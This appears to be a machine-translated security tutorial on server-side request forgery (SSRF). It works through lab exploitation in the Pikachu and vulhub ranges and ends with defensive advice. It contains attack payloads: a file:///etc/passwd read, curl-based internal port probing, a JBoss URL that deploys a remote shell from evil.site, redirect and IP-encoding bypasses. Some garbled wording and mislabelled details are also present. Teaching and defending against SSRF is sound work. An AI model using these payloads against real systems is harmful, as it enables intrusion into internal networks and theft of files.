Web vulnerability-SSRF server request forgery

Directory

  • SSRF server request forgery
    • 1. Definition
    • 2. Causes of vulnerabilities
    • 3. Vulnerability detection
    • 4. Exploiting vulnerabilities
    • 5. Reproduce the SSRF experiment at the Pikachu shooting range and detect the opening of the target drone port.
    • 6. Use SSRF to detect the intranet environment and obtain the shell
    • 7. Bypass techniques
    • 8. SSRF defense solution
    • 9. Summary

SSRF server request forgery

1. Definition

SSRF (Server-Side Request Forgery) server-side request is forged. SSRF is a security vulnerability constructed by an attacker to form a request initiated by the server.

If a web application uses external input parameters as a URL and then accesses the URL, the attacker can construct specific parameter values to allow the server to access the specified URL. This access behavior is unexpected by the server program. This kind of attack It’s called an SSRF attack, and this kind of vulnerability in a web application is called an SSRF vulnerability. The parameters entered here are not necessarily complete URLs, but can also be domain names, IP addresses, port numbers, etc. Attackers can forge these values, allowing the server to access unexpected content.

eg:
Some websites that provide translation services allow users to submit the URL of a web page, then translate the entire web page and return the translated results.
pseudocode:

 <?php
$content = file_get_contents($_GET['url']);
echo translate($content);
?>

Since the server-side translation engine must access the URL of the web page to obtain the original content, if the attacker constructs a specific URL, the server can act as a proxy to access it and obtain the access results.
There are many similar scenes
for example:
1. The web application needs to call different external interfaces and let the client submit the address of the interface;
2. In some applications that allow users to submit an image URL as an avatar, the web application needs to pull the image and crop it. SSRF vulnerabilities may exist in these scenarios.

URL link detects intranet information:
Web applications generally have their own intranet environment, which is isolated from the external network. Attackers cannot directly access intranet services. However, through the SSRF vulnerability of web applications, attackers can access intranet services or launch attacks on intranet applications. This is a common SSRF attack method.

For example:
/translate.php?url=http://192.168.1.100:8080/
This attack is somewhat similar to the remote file inclusion mentioned before, except that remote file inclusion refers to the server application loading and executing remote scripts. In fact, the remote file inclusion vulnerability is also an SSRF vulnerability. In addition, if an application with SSRF vulnerability uses the fle:// protocol, the attacker can also read local files on the server, causing sensitive information to be leaked.

for example:
/translate.php?url=file:///etc/passwd
In PHP, in addition to the fle_get_contents function, other network libraries can also produce SSRF vulnerabilities.

2. Cause of vulnerability

In addition to explicitly loading an externally input URL in a web application, there are many reasons why SSRF vulnerabilities may occur.

Common causes of SSRF vulnerabilities are as follows:
(1) Web applications use network libraries to obtain external resources or call external interfaces. The simple case introduced earlier belongs to this situation, which is also the most common cause of SSRF vulnerabilities.
(2) The file parsing library generates network requests. For example, parsing an XML file with an external entity (XXE) will initiate a network request, and some Office document libraries will also initiate a network request when parsing.
(3) The application allows the configuration to be specified through external parameters, such as passing in the database connection address through external parameters and specifying LDAP parameters through external input parameters.
(4) A headless browser is used (a headless browser is a web browser without a graphical interface. The headless browser can be controlled through programming to automatically perform various tasks, such as testing, taking screenshots of web pages, etc.)
For example, Phantomis and Selenium are often used to render web pages, and then detect or capture the content in the web page. They can be used to load the specified URL, or embed the resource of the specified URL in the web page. If there are no corresponding parameter filtering or network isolation measures, , SSRF vulnerability may occur. This is common in crawler scenarios. An attacker can construct a malicious web page, and when it is crawled and rendered, an SSRF attack can be achieved.
(5) The backend of the application initiated network access while performing security detection. If the instant messaging software or email system provides a URL security detection function to prevent links sent by users from containing phishing pages, illegal content, etc., the server-side content detection engine will access the URLs sent by users for security detection. In this SSRF attacks also occur in the scenario

3. Vulnerability detection

For common parameters, such as URL, src/link, etc., we set the value to “https://www.baidu.com”. If the returned content contains the source code characteristics of Baidu homepage, it can be determined that the application has an SSRF vulnerability; However, in some scenarios, the web application does not return the accessed URL content. In this case, we can use dnslog as the target URL, or use a self-built server to check the relevant logs to see if there are access records to determine whether they exist. loopholes.

4. Vulnerability Exploitation

1. The libcurl library created by Daniel Stenberg, supported by PHP, allows you to connect and communicate with a variety of servers using various types of protocols.

libcurl currently supports http, https, ftp, gopher, telnet, dict, file and ldap protocols. libcurl also supports HTTPS authentication, HTTP POST, HTTP PUT, FTP upload (this can also be done through PHP’s FTP extension), HTTP form-based upload, proxy, cookies and username + password authentication.

Demonstration range:pikachu

image-20231006171727781

Open the shooting range and enter the environment:

image-20231006165836253

Modify the requested url address:

image-20231006165925057

Visit local address:

image-20231006170110085

Through this information, we found that we can use this vulnerability to access the content of external network services and some information of the internal network environment.

image-20231006170821100

2.file_get_content, file_get_contents() reads the entire file into a string. The usage is similar to above.
Syntax: file_get_contents(path,include_path,context,start,max_length)

> Parameter Description
> path required. Specifies the file to be read.
> include_path optional. If you also want to search for files in the include path (in php.ini), please set this parameter to "1"
> context is optional and specifies the context of the file handle. context is a set of options that can modify the behavior of the stream. Ignored if NULL is used
> start optional. Specifies the position in the file to begin reading. This parameter is new in PHP 5.1
> max_length optional. Specifies the number of bytes to read. This parameter is new in PHP 5.1

Demonstration range: pikachu

Open the environment:

image-20231006170934155

Observe the URL information and find the file parameter. We guess that the local file can be accessed. Try to access it:

image-20231006171119436

Successfully accessed local files

View the source code to view the complete content:

image-20231006171153342

3.fsockopen()
The fsockopen function implements the acquisition of user-specified url data. This function uses a socket (port) to establish a TCP connection with the server and transmit data. The variable host is the host name, port is the port, errstr indicates that the error message will be returned as a string, and 30 is the time limit.

5. Reproduce the SSRF experiment at the Pikachu shooting range and detect the opening of the target drone port.

If the server returns error information, sensitive information can be detected based on the error information. Through the SSRF vulnerability, an attacker can detect whether the intranet domain name or IP address exists, and whether the port is open. If the server returns an error message, the attacker can easily detect this information.

The testing method is basically similar to the above, and different supported protocols can be switched for testing.

For example, according to the following information, it can be judged that the first domain name exists, the second domain name does not exist, and port 22 of the local machine is open, but port 23 is not open:

curl 'http://example.com/translate.php?url=http://wiki.example.com'
Failed to connect to wiki.example.com port 80: Connection refused%~

curl 'http://example.com/translate.php?url=http://rumilc.example.com'
Resolving timed out after 1002 milliseconds~

curl 'http://example.com/translate.php?url=http://127.0.0.1:22'
Received HTTP/0.9 when not allowed~

curl 'http://example.com/translate.php?url=http://127.0.0.1:23'
Failed to connect to 127.0.0.1 port 23: Connection refused

6. Use SSRF to detect the intranet environment and obtain the shell

Vulnerability test environment: vulhub/weblogic/ssrf

In most scenarios, applications with SSRF vulnerabilities can only use HTTP/HTTPS to initiate requests, and the request methods are usually restricted.

However, attackers can use this alone to attack many intranet applications with vulnerabilities.

For example, multiple remote code execution vulnerabilities in Stuts2 only require a single GET request to be implemented. Moreover, many middleware management consoles are open on the intranet, and you can even log in without a password.

For example, JBoss’s MX-Console is usually not open to the outside world and can be accessed without authorization. If the following URL is constructed to implement an SSRF attack, the server can deploy a remote malicious application:

http://localhost:8080/jmx-console/HtmlAdaptor?action-invokeOpaname-jboss.system:service=MainDeployer & amp;methodIndex-17sarg0-http://evil.site/shell.war

There are many similar services that provide HTTP interfaces, such as MongoDB, CouchDB, Docker, ElasticSearch, Jenkins, Tomcat, etc. They may all have unauthorized access, which can lead to the leakage of sensitive information or remote code execution.

7. Bypass techniques

1. Because SSRF is usually used to attack intranet applications, many developers’ defense solutions for SSRF vulnerabilities simply restrict the address in the URL from being an intranet domain name or intranet IP address. However, many HTTP libraries will follow HTTP jumps, so the above defense scheme can be bypassed through a very simple jump method. The attacker places a test.php file in his own domain name evil.site, whose function is to jump to an intranet address:

<?php
header("Location: http://localhost:8080/");
?>

Use http://evil.site/redirect.php to bypass the server’s intranet domain name restrictions. In addition, there are many short URL services that can make this operation more convenient, but only if the HTTP library used in the application supports follow jumps.

Blacklist detection can also be easily bypassed by using a fake domain name. For example, an attacker applies for a domain name evil.site, modifies its A record, and resolves it to 127.0.0.1. He can also access the server itself through SSRF attacks.

2. The following addresses are all accessing http://127.0.0.1:8080

http://localhost:8080/
http://127.1:8080
http://2130706433:8080
http://0.0.0.0:8080
http://017700000001:8080 hexadecimal 127.0.0.1
http://127.127.127.127:8080

8. SSRF Defense Solution

There is no fixed defense solution for SSRF vulnerabilities. You should choose a suitable solution based on the actual scenario. However, developers should try their best to avoid using blacklists to restrict URLs and instead use whitelists.
The following safety recommendations are available for reference:
(1) Verification protocol type. In most applications, the target that needs to be accessed has a clear protocol type. The whitelist mechanism should be used for verification, and only access using the specified protocol is allowed.
(2) If the interfaces called by the application are limited, a whitelist URL should be used to restrict access to only specified URIs to avoid SSRF attacks. However, the matching rules for domain names/IP addresses should be written more rigorously to avoid being bypassed.
(3) If the application requirement is to allow users to fill in any domain name or IP address – usually a URL used to access the Internet, this scenario is more complicated and there is no way to use whitelist verification. We need to prevent it from accessing the intranet. If the host name in the entered URL is an IP address, we need to verify whether the IP address is a public IP address. If the entered host name is a domain name, its IP address must be obtained through DNS resolution, and then verified whether the IP address is a public IP address.
(4) In the process of parsing the URL entered by the user, it is necessary to extract information such as protocol, host, port, path, etc. A mature URL parsing library should be used as much as possible.
Such as parse url0 in PHP and urlib.parseurlparse0 in Python, instead of handwriting regular expressions to extract information.
(5) Perform security verification on the parameters entered by the user. For example, CRLF is used in multiple protocol smuggling attacks. In the above LDAP protocol smuggling case, if illegal characters in the /etc/passwd field are filtered out, the attack can be prevented. It is safer to only allow specific whitelisted characters.
(6) It is enough for the HTTP library used in most applications to support HTTP/HTTPS, and other redundant protocol classes should be disabled.
(7) Unauthorized access to intranet applications will lead to further exploitation of SSRF vulnerabilities, so even for internal applications, authentication and authorization are recommended. This can also limit the lateral movement of attackers after intrusion through other vulnerabilities, which is the guarantee of defense in depth.
(8) After accessing the URL in the application, the legality of the returned content should be verified. If there is content outside the expected data format, it should be recorded in the log to facilitate further troubleshooting. At the same time, after an access error occurs, do not return the original content of the error message directly to the visitor.

9. Summary

The SSRF vulnerability is actually an opening of the border protection solution to the outside world. Attackers can penetrate the network isolation and enter the intranet by performing SSRF attacks.
The security defense construction of enterprise intranets is generally very lacking. In the past, core applications have been hidden in the intranet. Now there are opportunities to attack intranet applications through SSRF vulnerabilities. This has attracted many security researchers to explore various internal attacks through SSRF vulnerabilities. Network application methods.